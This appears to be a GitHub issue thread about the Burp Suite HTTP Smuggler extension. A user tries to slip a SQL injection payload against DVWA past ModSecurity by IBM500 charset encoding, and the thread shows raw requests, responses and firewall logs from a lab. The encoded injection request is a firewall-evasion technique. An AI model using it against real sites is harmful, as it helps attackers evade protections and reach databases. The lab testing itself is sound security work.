HTTP Smuggler with BurpSuite

EDITED, Got the first part working, please read reply below for the second issue I am having

I am still having issues with the DVWA example.

It seems the GET request after "id=" is URL encoded by the the application by default as we can see here:

GET /dvwa/vulnerabilities/sqli/?id=%25%27+or+%270%27%3D%270&Submit=Submit HTTP/1.1
Host: 192.168.0.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Cookie: security=low; PHPSESSID=vjteprf95evuda9gcgd8u6ro90

The response is obviously a Forbidden (as expected / blocked by modsecurity):

HTTP/1.1 403 Forbidden
Date: Fri, 09 Nov 2018 00:33:17 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Type: text/html; charset=iso-8859-1

<title>403 Forbidden<title>

Forbidden

You don't have permission to access /dvwa/vulnerabilities/sqli/ on this server.

Using HTTP smuggler, the request is then converted to:

GET /dvwa/vulnerabilities/sqli/?%89%84~%6C%7D%40%96%99%40%7D%F0%7D%7E%7D%F0&%E2%A4%82%94%89%A3~%E2%A4%82%94%89%A3 HTTP/1.1
content-type: application/x-www-form-urlencoded; charset=ibm500
content-length: 0
Host: 192.168.0.138
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
Cookie: security=low; PHPSESSID=vjteprf95evuda9gcgd8u6ro90

This time, it goes through:

HTTP/1.1 200 OK
Date: Fri, 09 Nov 2018 00:34:08 GMT
Server: Apache/2.4.18 (Ubuntu)
Cache-Control: no-cache, must-revalidate
Vary: Accept-Encoding
Content-Length: 5011

However, the SQL querry is still not executing according to modsecurity:

Message: Warning. Pattern match "^[\d.:]+$" at REQUEST_HEADERS:Host. [file "/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "810"] [id "920350"] [rev "2"] [msg "Host header is a numeric IP address"] [data "192.168.0.138"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/IP_HOST"] [tag "WASCTC/WASC-21"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"]

Message: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "68"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within REQUEST_HEADERS:Referer: http://192.168.0.138/dvwa/vulnerabilities/sqli/?id=%' or '0'='0&Submit=Submit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

Message: Warning. detected SQLi using libinjection with fingerprint 's&sos' [file "/usr/share/modsecurity-crs/rules/REQUEST-942-APPLICATION-ATTACK-SQLI.conf"] [line "68"] [id "942100"] [rev "1"] [msg "SQL Injection Attack Detected via libinjection"] [data "Matched Data: s&sos found within REQUEST_HEADERS:Referer: http://192.168.0.138/dvwa/vulnerabilities/sqli/?id=%' or '0'='0&Submit=Submit"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "1"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-sqli"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"]

The same applies for XSS through DVWA, the request "goes through" but it is actually not being executed, given a false sense that the WAF was "bypassed". There is more to it than a HTTP 200 OK reply.

Any ideas on why ModSecurity is behaving the way it is?

Any feedback on this please?

[sb234]

Curious what you did to resolve your original issue. I also experienced the same inability to get the plugin working (via looking at Logger++ data).

[irsdl]

Sorry for the late reply many moons after as I don't get any email for this repo as this is not my personal repo and I have no control over it.
As per my talk with ModSecurity after this talk, they managed to add some rules to stop this but if the encoded version is going through, the reason might be that the web technology you are using does not care about the charset.